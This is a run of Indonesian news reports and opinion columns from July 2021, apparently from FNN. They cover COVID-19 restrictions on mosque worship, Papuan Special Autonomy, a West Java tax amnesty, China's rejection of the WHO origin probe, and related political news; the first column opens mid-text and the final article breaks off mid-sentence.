Madinah mengatakan : . أُو۟لٰٓئِكَ هُمْ شَرُّ الْبَرِيَّةِ (Mereka itu adalah seburuk-buruk makhluk). Yakni makhluk yang paling buruk keadaannya, sebab mereka meninggalkan kebenaran karena sifat hasad dan sesat, karena itulah mereka akan kembali ke tempat yang merupakan seburuk-buruk tempat. Pada masa covid-19 yang gonta-ganti istilah. PSBB, PPKM dan PPKM darurat. Per hari ini, namanya berubah menjadi PPKM level 4. Substansinya sama. Ummat Islam tidak boleh beribadah di masjid. Kalaupun masjid diperbolehkan menyelenggarakan shalat berjamaah, di masjid harus mengikuti standar 'mazhab WHO'. Menurut 'mazhab WHO', shaf shalat berjamaah di masjid renggang. Dikavling sajadah dan keramik. Tidak boleh lurus sebagaimana disunnahkan Rasulullah shallallahu alaihi wa sallam. سَوُّوا صُفُوفَكُمْ , فَإِنَّ تَسْوِيَةَ الصَّفِّ مِنْ تَمَامِ الصَّلاةِ “Luruskan shaf-shaf kalian, karena lurusnya shaf adalah kesempurnaan shalat” (HR. Bukhari no.690, Muslim no.433). Patokan lurus shaf adalah pundak bagian atas badan dan kedua mata kaki. Dari Abu Mas’ud radhiallahu’anhu, ia berkata: كَانَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ يَمْسَحُ مَنَاكِبَنَا فِي الصَّلاةِ وَيَقُولُ : ( اسْتَوُوا , وَلا تَخْتَلِفُوا فَتَخْتَلِفَ قُلُوبُكُمْ “Dahulu Rasulullah shallallahu’alaihi wa sallam memegang pundak-pundak kami sebelum shalat, dan beliau bersabda: luruskan (shaf) dan jangan bengkok, sehingga hati-hati kalian nantinya akan bengkok (berselisih) pula” (HR. Muslim, no. 432). Hikmah shaf lurus adalah sebab terikatnya hati orang-orang yang shalat. Bengkoknya shaf bisa menyebabkan berselisihnya hati mereka. Perselisihan diantara kaum muslimin hari ini, salah satunya disebabkan karena bengkoknya shaf shalat. Bermula dari hati yang bengkok. Masuknya 'mazhab WHO' dan virus komunis ke masjid makin membuat kaum muslimin tercerai berai. Sebelum ada 'mazhab WHO', Imam shalat ketika akan memulai shalat, menyerukan luruskan dan rapatkan shaf. Setelah ada 'mazhab WHO', seruan imam menyesuaikan. Luruskan tapi renggang. Hati-hati ummat Islam pun renggang. Tidak berani bersalaman. Apalagi cipika cipiki dan cipiku. Virus komunis sedang menyerang tempat ibadah ummat Islam. Shalat berjamaah di masjid yang paling lama hanya 15 menit ditiadakan. Masjid tutup. Tidak boleh shalat berjamaah. Shalat tarawih di rumah. Shalat idul fitri dan idul adha ditiadakan. Anehnya kerumunan di bank dibolehkan. Kerumunam di pasar tidak dibubarkan. Kerumunan di super market dibiarkan. Kerumunan apel siaga satgas pengamanan covid-19 diperintahkan. Kerumunan vaksin sangat dianjurkan. Katanya sih dalam rangka penyekatan, nyatanya hanya pengalihan arus. Pembatasan kegiatan ibadah, nyatanya penutupan tempat semua ibadah. PPKM darurat, nyatanya hanya ramai di TV dan media sosial. Ikhtiar maksimal menghindari wabah covid-19 sangat dianjurkan. Lebih sangat dianjurkan lagi, ikhtiar super maksimal untuk melawan virus komunis yang setiap saat bisa membahayakan aqidah kaum muslimin. Awas, komunis gaya baru ini, bisa menghalalkan segala cara. Penulis adalah Pegiat Da’wah dan Sosial.

Perubahan Otsus Tabrak Konstitusi dan Beri Ancaman Serius bagi Orang Asli Papua

Oleh: Marthen Goo Pemerintah Pusat di Ibu Kota Jakarta terlalu menggebu-gebu sampai lupa kontrol bahwa tujuan dari penyelenggaraan pemerintah adalah untuk melindungi dan mensejahterakan rakyat, bukan membuat rakyat makin marjinal, menciptakan kekerasan, dan pelanggaran HAM tinggi. Sejak Papua diberlakukan Otonomi Khusus secara paksa sepihak dari Jakarta tanpa partisipasi rakyat Papua, Otonomi Khusus berjalan 20 tahun, faktanya adalah (1) pelanggaran HAM tinggi, (2) marjinalisasi, (3) kerusakan lingkungan, (4) sumber kehidupan orang Papua makin terancam, (5) Pengurasan SDA di Papua cukup tinggi, (6) Adanya Ilegal Maining dan Logging (masyarakat adat kehilangan kayu dan SDA). Dalam masalah serius seperti itu, LIPI merumuskan ada 4 masalah besar di Papua, dan buku yang berjudul Papua Road Map tersebut diterbitkan saat Otsus berjalan. Sementara Gembala, Pdt. Dr. Socratez Sofyan Yoman menulis buku dengan judul Otonomi Khusus Telah Gagal. Dan, Natalius Pigai, Tokoh Nasional asal Papua pun menyebutkan implementasi Otsus yang bermasalah dan beliau menawarkan bekukan Otonomi Khusus dan lakukan Dialog Jakarta-Papua. Intinya bahwa 20 tahun pelaksanaan otonomi khusus di Papua tidak berhasil. Sehingga, jika Desentralisasi Asimetris saja tidak berhasil, maka sudah dipastikan ada yang salah. Ini bisa kita lihat: (1) tidak ada isi dalam UU, baik ayat, maupun pasal yang bersifat menyelesaikan masalah; (2) UU dibuat hanya sebagai topeng, secara subtansi merujuk pada desentralisasi; (3) Pemerintah Pusat melihat masalah di Papua hanya sebatas uang, sementara masalah utama di Papua adalah kemanusiaan, alam dan kehidupan secara utuh. Merespon perubahan Otsus sepihak yang dilakukan Jakarta, penulis juga pernah menulis dengan judul Rakyat Tolak Otsus Papua, Jakarta Jangan Sok Kuasa (FNN-20/4/2021) yang intinya memberikan gambaran bahwa secara konstitusi rakyat sudah menolak perubahan Otsus, sehingga, Jakarta mestinya tunduk dan hormat pada aspirasi rakyat dan mencari cara bermartabat dan demokratis dalam menyelesaikan masalah. Esensi Otonomi Khusus Bicara Otonomi Khusus, bicara tentang apa sebenarnya esensinya. Esensinya itu bicara apa sebenarnya masalah-masalah di daerah tersebut, kemudian dirumuskan masalah-masalahnya dan dibuat solusi. Solusi tersebut kemudian dirumuskan menjadi UU secara khusus untuk menyelesaikan masalah. Masalah-masalah tersebut ada yang bersifat kebijakan tapi ada yang harus bersifat regulasi. Bagian ini tidak pernah ada saat dibuat UU No. 21 tahun 2001. Sekarang jika kita lihat terhadap perubahan UU Otonomi Khusus di Papua, tidak dilakukan prinsip Esensial dalam merumuskan desentralisasi. Ini sama dengan adanya dugaan kejahatan konstitusi karena prinsip dasar tidak dipenuhi. Ingat, ini negara hukum, mestinya pembuat UU jauh lebih cerdas dalam menelah dan mendengar aspirasi rakyat untuk dibuat dalam kepastian hukum, agar persoalan rakyat bisa diselesaikan didasarkan kepastian hukum. Pembuat UU mempraktekan bim-salah-bim. Ini tontonan yang paling buruk, apalagi bagi peminat hukum tata negara. Karena prinsip dalam hukum tata negara ketika bicara tentang rumusan prodak hukum baru, hal yang diperhatikan adalah kemanfaatn dan kepastian hukum bagi kehidupan warga. Bicara kemanfaatan harus diperhatikan nilai sebagai filosofis hidup warga dan bagimana menyelesaikan masalah sosial. Di era demokrasi, tanpa dengar pendapat rakyat, pembuat UU terkesan mempraktekan masa orde baru dengan memaksa perubahan tanpa berpegang pada demokrasi dan HAM. Konstitusi Bicara Sejarah di Indonesia membuktikan bahwa semangat reformasi lahir karena (1) buruknya ekonomi nasional yaitu pemerintahan yang korup ; (2) pelanggaran HAM yang tinggi. Atas semangat tersebut, perubahan ke-4 UUD’45 lebih mengedepankan HAM agar negara dikelolah dengan prinsip penghormatan pada HAM. Mestinya di Papua juga sama, sayangnya walau diberlakukan UU No. 21/2001, pelanggaran HAM tetap jalan terus. Atas semangat penghormatan pada HAM tersebut, pasal 1 ayat (2) UUD’45 menyebutkan bahwa “kedaulatan berada di tangan rakyat dan dilaksanakan menurut Undang-Undang Dasar”. Bukan kedaulatan berada di pembuat UU. Karenanya harus dilaksanakan menurut prinsip-prinsip HAM. Rakyat selaku pemegang kedaulatan harus ditanya apa masalah mereka dan harus diselesaikan dengan cara apa, kemudian dirumuskan berdasarkan tingkatan, apakah masuk dalam rana perundang-undang, atau rana kebijakan. Setiap UU yang lahir bersifat mengikat warga negara, karenanya, jika itu berhubungan dengan UU Otonomi Khusus maka terikat bagi daerah atau wilayah yang diberlakukan UU Khusus tersebut. Warga di wilayah tersebut harus diberikan ruang partisipasi. Karena jika rakyat tidak dilibatkan dan diberi partisipasi, sementara di sisi lain, pembuat UU memaksa pelaksanaan UU diberlakukan, secara subtansi UU itu tidak ada manfaat dan harus dicabut oleh pembuat UU. Jadi, pengertian pada pasal 1 ayat (2) UUD’45 tersebut harus dilihat secara baik, benar dan tepat bahwa rakyat punya kedaulatan, sementara DPR itu hanya perwakilan yang melaksanakan kedaulatan berdasarkan UUD’45, dimana DPR diberikan kewenangan membuat UU, sehingga, UU yang harus dibuat harus didasarkan pada aspirasi rakyat. Kalau rakyat tolak, maka, wajib RUU dibatalkan atau UU dicabut. UU yang buruk adalah UU yang dibuat tanpa melibatkan rakyat, kemudian pembuat UU beralibi bahwa bisa dilakukan Juducial Riview kalau keberatan. Seakan Mahkamah Konstitusi dijadikan sebagai lembaga cuci piring pihak-pihak pembuat UU. Ini juga disebut UU Otoritarianisme, semangat HAM dan Demokrasi dicederai di sini. Jadi, jika merujuk pada prinsip konstitusi di Indonesia, sesungguhnya perubahan UU Ototnomi Khusus yang dilakukan oleh kekuasaan di Jakarta secara subtansial tabrak konstitusi. Merusak tatanan HAM dan Demokrasi. UU yang dibuat hanya untuk kepentingan pembuat UU, bukan kepentingan rakyat Papua. Ini tentu saja memberikan ancaman serius, karena sebelum perubahan, sangat buruk implementasinya. Rakyat di Seluruh Tanah Papua Tolak Perubahan Otsus Kondisi riil hari ini, rakyat di seluruh tanah Papua tolak otonomi khusus. Penolakan ini datangnya dari pengalaman buruk baik sebelum otonomi khusus maupun 20 tahun yang dipaksakan otonomi khusus di Papua. Ini memberikan gambaran bahwa rakyat di Papua tidak percaya dengan pemerintah pusat. Apalagi saat diberlakukan Otonomi Khusus, kejahatan kemanusiaan di Papua sangat tinggi, baik kejahatan terhadap kematian orang Papua maupun kejahatan HAM terhadap Ekonomi, Sosial, Budaya dan Lingkungan. Jika rakyat menolak Otonomi Khusus, mestinya pembuat UU menghormati sikap dan keinginan rakyat. Rakyat secara Konstitusi memiliki kedaulatan tertinggi, sementara legislatif hanya utusan atau perwakilan di Parlemen. Secara logika, jika memakai filsafat logika akal sehatnya Rocky Gerung, “orang yang mewakili tidak memiliki hak lebih tinggi dari pada orang yang menyuruh mewakili”. Dalam tulisan saya sebelumnya dengan judul Rakyat Tolak Otsus Papua, Jakarta Jangan Sok Kuasa (FNN-20/4/2021), di sana dijelaskan beberapa kabupaten di Tanah Papua melakukan aksi seluruh rakyat menolak Otonomi Khusus. Bahkan, sehari sebelum penetapan, mahasiswa dan masyarakat di berbagai kota telah melakukan aksi penolakan, namun dibubarkan dan ditangkap. Esensinya adalah menolak perubahan Otsus. Penolakan terhadap perubahan UU Otsus yang dilakukan oleh rakyat di seluruh tanah Papua memberikan gambaran bahwa pelaksaan Otonomi Khusus selamat 20 tahun telah memberikan legitimasi kejahatan HAM di tanah Papua, dan 4 masalah rumusan LIPI justru terjadi 20 tahun Otsus. Pemaksaan perubahan justru buruk karena hanya memberikan ruang bagi banjirnya kaum migran (upaya tirani); marjinalisasi dan pelanggaran HAM. Solusi Demokratis Indonesia dibangun dengan prinsip demokrasi, bukan otoritarianisme atau tirani baik suku mayoritas atau rumpun mayoritas, karenanya prinsip demokrasi lahir melalui republik. Mestinya republik itu bukan pajangan tapi harus dipraktekan. Itu juga yang kemudian kekuasaan yang otoriter ditumbangkan pada tahun 1998. Mestinya kekuasaan di Jakarta baik Eksekutif maupun Legislatif belajar dari tumbangnya Otoritarianisme’98. Sebagai perwujudan dalam demokrasi, rakyat sudah menolak perubahan otonomi khsusus Papua. karenanya pembuat UU harus cabut UU. Jakarta harus buka ruang demokrasi di Papua dengan mendorong Perundingan Jakarta-Papua. DPR dan DPD bisa desak Presiden RI untuk menunjuk Special Envoy dan Wakil Presiden sebagai penanggungjawab politik untuk melaksanakan perundingan. Aceh harus jadi rujukan. Mengapa kekuasaan di Jakarta hanya berpikir untuk memperburuk Papua dengan kebijakan-kebijakan yang Otoritarianisme dan pemaksaan UU yang menghancurkan peradaban bangsa Papua dan entitas kebudayaan tanpa menghormati Pancasila, Bhinneka Tunggal Ika, dan konstitusi negara sebagai prinsip bersama dalam penghormatan pada HAM ? Mari kita buktikan dengan implementasikan Perundingan Jakarta-Papua. Penulis adalah Aktivis Kemanusiaan Asal Papua

Jawa Barat Gulirkan Pogram Pembebasan Denda Pajak

Bandung, (FNN) - Pemerintah Daerah Provinsi Jawa Barat (Jabar) menggulirkan kembali program pembebasan dan keringanan denda pajak bagi wajib pajak pemilik kendaraan bermotor. . Program bernama Triple Untung Plus akan digulirkan 1 Agustus 2021 Program tersebut bertujuan menggenjot pendapatan pajak kendaraan bermotor yang menurun pada triwulan satu dan dua tahun 2021. "Ini sebagai salah satu solusi menggenjot pendapatan daerah dari pajak kendaraan bermotor. Beberapa upaya peningkatan pendapatan dari sektor ini kurang maksimal seperti pembayaran PKB (Pajak Kendaraan Bermotor) door to door dan insentif pajak kendaraan oleh pemerintah pusat," kata Kepala Badan Pendapatan Daerah Provinsi Jawa Barat Hening Widyatmoko di Bandung, Kamis, 22 Juli 2021. Menurut dia, ada tiga keuntungan bagi wajib pajak dari program tersebut. Pertama, bebas denda pajak kendaraan bermotor. Pembebasan denda bagi warga yang terlambat membayar pajak. Akan tetapi, pembebasan denda tidak berlaku untuk pembayaran sepeda motor baru, ubah bentuk, lelang/eks-dump yang belum terdaftar, serta pergantian mesin. Kedua, bebas pokok dan denda BBNKB II (Bea Balik Nama Kendaraan Bermotor). Keringanan ini dapat dimanfaatkan warga yang ingin melakukan proses Balik Nama Kendaraan Bermotor Kedua dan seterusnya di wilayah Jawa Barat. Ketiga, bebas tarif progresif pokok tunggakan. Keringanan ini dikhususkan untuk warga yang ingin mengajukan permohonan BBNKB II (Bea Balik Nama Kendaraan Bermotor) kepemilikan kedua dan seterusnya. Lalu jika masih memiliki tunggakan, tarifnya hanya sebesar 1,75 persen. Hening mengatakan, program Triple Untung Plus tahun lalu juga digulirkan. Terbukti dapat membantu para wajib pajak yang sedikit banyak terdampak pandemi Covid-19. Upaya penarikan pajak kendaraan diakui tidak optimal karena daya beli mayarakat yang turun akibat pandemi. "Daya beli masyarakat menurun akibat pandemi, yang juga berdampak kepada pembayaran PKB. Banyak di antara mereka yang pendapatannya menurun bahkan terkena PHK," ujar Hening sebagaimana dikutip dari Kantor Berita Antara. Dia menjelaskan, tulang punggung pajak daerah provinsi adalah pajak kendaraan bermotor. Oleh karena itu, penurunan pendapatan dari PKB berpengaruh besar pada pendapatan daerah dari sektor pajak. "Selisih pendapatan dari PKB antara triwulan 3 dan 4 tahun 2020 dan triwulan I dan II tahun 2021 lebih dari Rp 300 miliar atau sekitar 7,64 persen," katanya. Pendapatan PKB triwulan III dan IV tahun 2020 sebesar Rp 4.060.249.125.192 (Rp 4,06 triliun), sedangkan pendapatan PKB triwulan I dan II tahun 2021 sebesar Rp 3.749.897.646.800 ( Rp3,7 triliun). Selisih triwulan III dan IV/2020 dengan triwulan I dan II/2021 yakni Rp 310.351.468.392 (Rp 310 miliar) atau 7,64 persen. Selisih pendapatan tersebut, kata Hening juga sedikit banyak berpengaruh pada defisit anggaran APBD Jabar. Adapun program Triple Untung yang akan digulirkan kembali Agustus 2021 akan berlangsung sampai Desember 2021. "Memang periodenya lima bulan, tetapi diharapkan bisa optimal menarik pendapatan," katanya. Sementara itu Kepala Badan Pengelola Keuangan dan Aset Daerah (BPKAD) Nanin Hayani Adam mengatakan, terjadi defisit anggaran Rp 5 triliun pada APBD Jabar. "Dari target Rp 41,4 triliun diprediksi hanya tercapai Rp 35,8 triliun. Solusi untuk menutupi defisit itu adalah mengurangi belanja di tahun 2021," kata Hayani. Hal ini ditengarai antara lain karena pendapatan dari sektor pajak kendaraan bermotor (PKB) Jabar pada triwulan I dan II tahun 2021 turun dibanding triwulan III dan IV tahun 2020. [MD].

China Tolak WHO Selidiki Asal Muasal Covid19

Beijing, FNN - China pada Kamis menolak rencana Organisasi Kesehatan Dunia (WHO) untuk tahap kedua penyelidikan tentang asal usul virus corona, yang mencakup hipotesis bahwa virus itu kemungkinan lolos dari laboratorium China, kata seorang pejabat tinggi. WHO pada Juli menyerukan pentingnya transparansi dari pihak berwenang China dengan mengusulkan studi fase kedua tentang asal-usul virus corona di China, termasuk audit laboratorium dan pasar di kota Wuhan. "Kami tidak akan menerima rencana penelusuran asal (virus) seperti itu, dalam beberapa aspek, yang mengabaikan akal sehat dan menentang ilmu pengetahuan," kata wakil menteri Komisi Kesehatan Nasional (NHC) China, Zeng Yixin, kepada wartawan. Zeng mengatakan dia terkejut ketika pertama kali membaca rencana WHO itu karena mencantumkan hipotesis bahwa pelanggaran protokol laboratorium di China telah menyebabkan kebocoran virus selama penelitian. "Kami berharap WHO secara serius meninjau pertimbangan dan saran yang dibuat oleh para ahli China dan benar-benar memperlakukan penelusuran asal virus penyebab COVID-19 sebagai masalah ilmiah, dan menyingkirkan campur tangan politik," ujar Zeng. China menentang politisasi penelitian ini, katanya. Asal usul virus corona baru masih diperdebatkan di antara para ahli. Kasus pertama yang diketahui muncul di kota Wuhan di China tengah pada Desember 2019. Virus itu diyakini telah menular ke manusia dari hewan yang dijual untuk makanan di suatu pasar kota. Pada Mei, Presiden Amerika Serikat Joe Biden memerintahkan para bawahannya untuk menemukan jawaban atas pertanyaan tentang sumber yang mengatakan bahwa badan-badan intelijen AS sedang mencari tahu teori-teori yang berpotensi, termasuk kemungkinan sebuah kecelakaan (kebocoran) laboratorium di China. Zeng, bersama dengan para pejabat lain dan pakar China pada konferensi pers, mendesak WHO untuk memperluas upaya penelusuran asal virus corona baru ke negara lain di luar China. "Kami percaya kebocoran laboratorium sangat tidak mungkin dan tidak perlu menginvestasikan lebih banyak energi dan upaya dalam hal ini," kata Liang Wannian, pemimpin tim China untuk tim ahli gabungan WHO. Namun, Liang mengatakan hipotesis kebocoran laboratorium tidak dapat diabaikan sepenuhnya tetapi menyarankan bahwa jika diperlukan bukti, negara-negara lain pun dapat melihat kemungkinan kebocoran dari laboratorium mereka. Sumber: Reuters

Komnas HAM Sosialisasikan Standar Norma Pengaturan Hak Atas Kesehatan

Jakarta, FNN - Komisi Nasional Hak Asasi Manusia (Komnas HAM) RI menyosialisasikan standar norma dan pengaturan (SNP) tentang hak atas kesehatan. "SNP hak atas kesehatan ini merupakan respons Komnas HAM atas mendesak dan perlunya penghormatan, perlindungan serta pemenuhan hak atas kesehatan karena tingginya pelanggaran hak atas kesehatan," kata Komisioner Pengkajian dan Penelitian Komnas HAM Sandrayati Moniaga di Jakarta, Kamis. Ia mengatakan SNP tentang hak atas kesehatan merupakan pemaknaan penilaian dan petunjuk atas kaidah-kaidah dan peristiwa HAM yang terjadi di tengah masyarakat. SNP adalah dokumen yang mendudukkan prinsip dan aturan HAM internasional yang kemudian disandingkan dengan praktik dan kondisi di Indonesia. "Dokumen ini merupakan penjabaran norma HAM yang berlaku internasional di tingkat nasional tanpa menghilangkan prinsip dan karakter Indonesia," ujar dia. SNP dibutuhkan karena pemahaman masyarakat bahkan negara dalam masalah HAM masih terbatas pada pembuatan peraturan tetapi terbata-bata dalam pelaksanaan. Hal itu bisa terjadi karena tidak semua prinsip HAM mudah untuk langsung dipahami dan diterapkan. Oleh karena itu dibutuhkan penafsiran yang tepat. "Dan Komnas HAM memiliki kewenangan untuk melakukannya," ujarnya. Dalam konteks pembangunan hukum nasional dan kebijakan, SNP akan memudahkan semua pihak mendapatkan kepastian tentang HAM. Secara umum, lanjut dia, berdasarkan Undang-Undang Nomor 39 tentang HAM, Komnas HAM memiliki wewenang untuk menyusun SNP tentang hak atas kesehatan tersebut. Sesuai pasal 75 Undang-Undang tentang HAM, SNP dibentuk untuk mengembangkan kondisi yang kondusif bagi pelaksanaan HAM sesuai Pancasila, UUD 1945, Piagam PBB serta Deklarasi Universal HAM. Kemudian, berdasarkan Pasal 76 ayat 1 Jo. Pasal 89 Undang-Undang HAM, Komnas HAM memiliki kewenangan melakukan pengkajian dan penelitian termasuk melakukan pembahasan berbagai masalah yang berkaitan dengan perlindungan dan penegakan serta pemajuan HAM. Sejak 2018 Komnas HAM sudah menyusun lima SNP termasuk salah satunya SNP tentang pengaturan hak atas kesehatan yang diselesaikan pada 2020. (mth)

Ketua MPR Minta Aparat tidak Arogan Tegakkan Aturan PPKM

Jakarta, (FNN) - Ketua MPR, Bambang Soesatyo, meminta aparat keamanan tidak bersikap arogan dalam menegakkan aturan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). "Saya meminta aparat dalam menegakkan aturan PPKM tidak dengan sikap arogan, terutama dalam menghadapi masyarakat lapis bawah dan para pedagang kecil," kata Bambang, dalam keterangannya di Jakarta, Kamis, 22 Juli 2021. Permintaan tersebut disampaikannya mengingat masih banyak informasi dari masyarakat, terkait dengan tindakan arogansi pihak keamanan yang berlebihan dalam pelaksanaan ataupun penegakan disiplin PPKM. Ia meminta pemerintah dan kepala Kepolisian Indonesia untuk segera menindaklanjuti informasi dan laporan masyarakat itu dengan memanggil dan mengevaluasi petugas yang bersangkutan. "Langkah itu untuk diklarifikasi jika terdapat tindak kekerasan maka aparat tersebut dapat diberikan tindakan indisipliner atau diberikan sanksi hukum. Hal ini agar menambah kepercayaan masyarakat terhadap petugas dan program pemerintah," ujarnya, seperti dikutip dari Kantor Berita Antara. Ia juga meminta pemerintah daerah untuk mempertimbangkan revisi Peraturan Daerah terkait pengendalian Covid-19, khususnya pada masa PPKM. Hal itu menurut dia karena perspektif Hak Azasi Manusia harus menjadi prioritas bagi aparat ketika menegakkan Perda agar tidak terjadi konflik di lapangan. "Keberadaan kepolisian sebagai satuan keamanan yang tergabung dalam satuan tugas penanganan Covid-19 harus tetap mengedepankan cara-cara persuasif dalam mendisiplinkan sikap masyarakat selama masa PPKM," katanya. {MD}.

Pimpinan DPD Minta Presiden Panggil Siti Fadilah Supari ke Istana, Libatkan Tangani Pandemi

Jakarta, FNN - Wakil Ketua Dewan Perwakilan Daerah (DPD) Sultan Bachtiar Najamudin mengapresiasi langkah pemerintah menerapkan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. Namun, Sultan menilai pemerintah butuh dukungan, sekaligus melibatkan banyak pihak berkompeten, untuk menghadapi pandemi dan menentukan langkah serta skema kebijakan yang akan diambil. "Kita tidak pernah tahu kapan pandemi ini berakhir." "Maka kita butuh kesiapan dalam menghadapi, bagaimanapun situasinya ke depan." "Baik dalam penanganan maupun pencegahan terhadap setiap kemungkinan terburuk yang akan terjadi." "Dan harus melibatkan orang-orang khusus yang memiliki rekam jejak dalam menghadapi pandemi," kata Sultan melalui keterangan tertulis, Rabu (21/7/2021). Menurutnya, mantan Menteri Kesehatan Siti Fadilah Supari, adalah salah satu orang yang tepat untuk dilibatkan pemerintah dalam memberikan wawasan, pertimbangan, bahkan susunan strategi kebijakan, baik jangka pendek maupun jangka panjang, untuk melawan Covid-19. "Saya meminta kepada Bapak Presiden RI untuk memanggil Ibu Siti Fadilah Supari ke Istana." "Dan sekaligus pemerintah dapat memberikan ruang keterlibatan secara formal (kewenangan khusus) dalam menghadapi pandemi Covid-19 di Indonesia," ucapnya. Sebab, menurut senator muda asal Bengkulu tersebut, dalam menghadapi pandemi sekarang, kita butuh sosok yang memiliki pengalaman nyata. Sultan mengatakan, presiden dan seluruh jajaran sudah berusaha maksimal melakukan yang terbaik untuk rakyat dalam menghadapi pandemi ini, tapi situasi sekarang memang darurat. "Ibarat sebuah perang, menurut saya presiden perlu banyak masukan, nasihat, dan pertimbangan sebagai penguatan keyakinan dalam mengambil setiap keputusan." "Presiden perlu kekuatan penuh dalam berperang melawan pandemi Covid-19 ini." "Saat yang tepat presiden melibatkan sebanyak mungkin orang-orang yang berkompeten dalam bidangnya." "Bukan hanya dr Siti Fadila Supari, tapi sosok seperti dokter Terawan dan tentu masih banyak ahli-ahli berpengalaman lain," papar Sultan. Selain pernah menjabat Menteri Kesehatan, Siti Fadilah Supari juga menjadi staf pengajar kardiologi di Universitas Indonesia. Siti merupakan ahli jantung di Rumah Sakit Jantung Harapan Kita selama 25 tahun. Pada 2007, dia menulis buku berjudul Saatnya Dunia Berubah! Tangan Tuhan di Balik Virus Flu Burung konspirasi Amerika Serikat dan organisasi WHO dalam mengembangkan senjata biologis dengan menggunakan virus flu burung. Buku ini menuai protes dari petinggi WHO dan Amerika Serikat. Pada 1987, Siti menerima The Best Investigator Award Fakultas Kedokteran Universitas Indonesia dan Best Young Investigator Award dalam Kongres Kardiologi di Manila, Filipina (1988). Dia menerima The Best Investigator Award Konferensi Ilmiah tentang Omega 3 di Texas Amerika Serikat (1994) dan Anthony Mason Award dari Universitas South Wales (1997). Dia juga menerima beberapa penghargaan dari Amerika dan Australia. "Kebijakan ke depan tidak boleh bersifat trial dan error, ketika hadir masalah kita kalang kabut dalam menghadapinya." "Jadi segera harus dirumuskan dengan pendekatan yang berasal dari kacamata ilmu pengetahuan, dengan melibatkan orang yang berpengalaman secara komprehensif dalam dunia epidemiologi." "Dan beliau memiliki semuanya untuk berperan besar membantu pemerintah menanggulangi Covid-19." "Ibu Siti adalah aset bangsa ini, apalagi dalam menghadapi pandemi." "Beliau adalah seorang ilmuwan dan kaya pengalaman di birokrasi sebagai menteri di pemerintahan." "Selain itu, beliau telah menerbitkan 150 karya ilmiah yang dipublish dalam jurnal nasional maupun internasional," papar Sultan. Siti Fadilah Supari adalah aktor utama yang berperan dalam mengatasi dua pandemi flu yang pernah melanda Indonesia. "Kita menginginkan kebijakan ke depan dapat menyeimbangkan tantangan." "Di mana satu sisi tetap mengedepankan upaya ketahanan ekonomi nasional tetap berjalan, tapi tanpa meninggalkan penyediaan public health services di tengah wabah." "Dan saya harap presiden, pemerintah dapat mewujudkannya, dengan melibatkan sosok-sosok berpengalaman seperti dr Siti Fadilah Supari dan yang lain," harap Sultan. (ant)

Rektor UI Mundur Dari Dewan Komisaris BRI

Jakarta, (FNN) - Setelah menuai protes dan polemik, Rektor Universitas Indonesia (UI) Ari Kuncoro akhirnya mengajukan surat pengunduran diri dari jabatannya sebagai Wakil Komisaris Utama/Komisaris Independen PT Bank Rakyat Indonesia Tbk (BBRI). Surat pengunduran diri yang ditujukan kepada Menteri Badan Usaha Milik Negara (BUMN) -- sebagai pemegang saham mayoritas bank plat merah tersebut -- dilayangkannya pada Rabu, 21 Juli 2021. "Kementerian BUMN RI telah menerima surat pengunduran diri Sdr. Ari Kuncoro dari jabatannya selaku Wakil Komisaris Utama/Komisaris Independen Perseroan per tanggal 21 Juli 2021," demikian keterbukaan informasi yang diterima di Jakarta, Kamis, 22 Juli 2021. Sebagaimana dikutip dari Kantor Berita Antara, Perseroan akan menindaklanjuti sesuai ketentuan dan prosedur yang berlaku. Dalam keterangan resmi yang diterima, Perseroan akan berkomitmen untuk terus menerapkan praktik tata kelola perusahaan (GCG) yang baik dari seluruh lapisan, baik top level management dalam hal ini Dewan Komisaris dan Direksi, hingga jajaran pekerja di seluruh unit kerja. Komitmen tersebut dijalankan pada setiap kegiatan usaha Perseroan, yang merupakan perwujudan dari visi dan misi Perseroan, corporate values, dan strategi kebijakan dalam keberlanjutan Perseroan. Sebagaimana diketahui, jabatan Ari Kuncoro sebagai Wakil Komisaris Utama BRI menjadi sorotan setelah Rektorat UI memanggil sejumlah pengurus Badan Eksekutif Mahasiswa (BEM) UI yang menerbitkan poster sindiran di media sosial. Rangkap jabatan Ari Kuncoro tersebut melanggar Peraturan Pemerintah (PP) Nomor 68 Tahun 2013 tentang Statuta UI. Namanya kembali menjadi perbincangan warganet setelah pemerintah merevisi PP 68/2013 tentang Statuta UI. Revisi tersebut termuat dalam PP Nomor 75 tahun 2021, dimana rangkap jabatan di BUMN atau BUMD, hanya dilarang untuk jabatan direksi. (MD)

Warga Mojokerto Bisa Akses Isi Ulang Oksigen Gratis Pemprov Jatim di Sidoarjo

Sidoarjo, FNN - Layanan isi ulang tabung oksigen gratis di wilayah Sidoarjo, Jawa Timur, resmi beroperasi. Setiap hari, sebanyak 500 meter kubik oksigen disediakan secara cuma-Cuma untuk masyarakat yang menjalani isolasi mandiri karena positif COVID-19. Stasiun pengisian oksigen gratis di UPT Bapenda Jatim, Jalan Pahlawan Sidoarjo diresmikan pada Senin (19/7/2021). Peresmian in dihadiri jajaran Forkopimda Jatim yakni Gubernur Khofifah Indar Parawansa, Pangdam V Brawijaya Mayor Jenderal TNI Suharyanto, Panglima Komando Armada II (Pangkormada II) Laksamana Muda TNI Iwan Isnurwanto, dan Kapolda Jatim Irjen Pol Nico Afinta. “Isi ulang artinya mereka ke tempat ini harus membawa tabung. Sehari masing-masing boleh sampai dua kali,” kata Gubernur Khofifah saat meresmikan stasiun isi ulang oksigen di Sidoarjo, Senin (19/7/2021). Khofifah menegaskan, stasiun pengisian oksigen ini tidak hanya diperuntukan bagi warga Sidoarjo. Dia mengatakan, seluruh warga sampai pinggiran wilayah Kabupaten Mojokerto juga bisa megakses layanan gratis ini. “Ini adalah untuk layanan warga kita yang sedang isoman,” ucap Khofifah didampingi Kapolda Jatim dan Pangdam V Brawijaya. Selain itu, untuk ambulans yang sedang membawa pasien dan membutuhkan isi ulang oksigen juga diperkenankan mengisi secara gratis. Khofifah menyebutkan, setiap hari stasiun pengisian menyediakan 500 meter kubik oksigen atau 500 tabung isi 1 meter kubik. “Kita punya stok insyaallah sangat cukup, artinya jikalau permintaan banyak dan melebihi dari 500 meter kubik atau 500 silinder, maka dimungkinkan untuk bisa ditambah suplainya,” papar Khofifah. Mantan Menteri Sosial ini mengimbau kepada seluruh masyarakat yang belum vaksinasi, untuk segera melakukan vaksinasi. Proses penggunaan oksigen ini sudah hilirnya. Hulunya adalah bagaimana kita menjaga protokol kesehatan dengan baik. “Bagaimana kita mengikuti program dengan 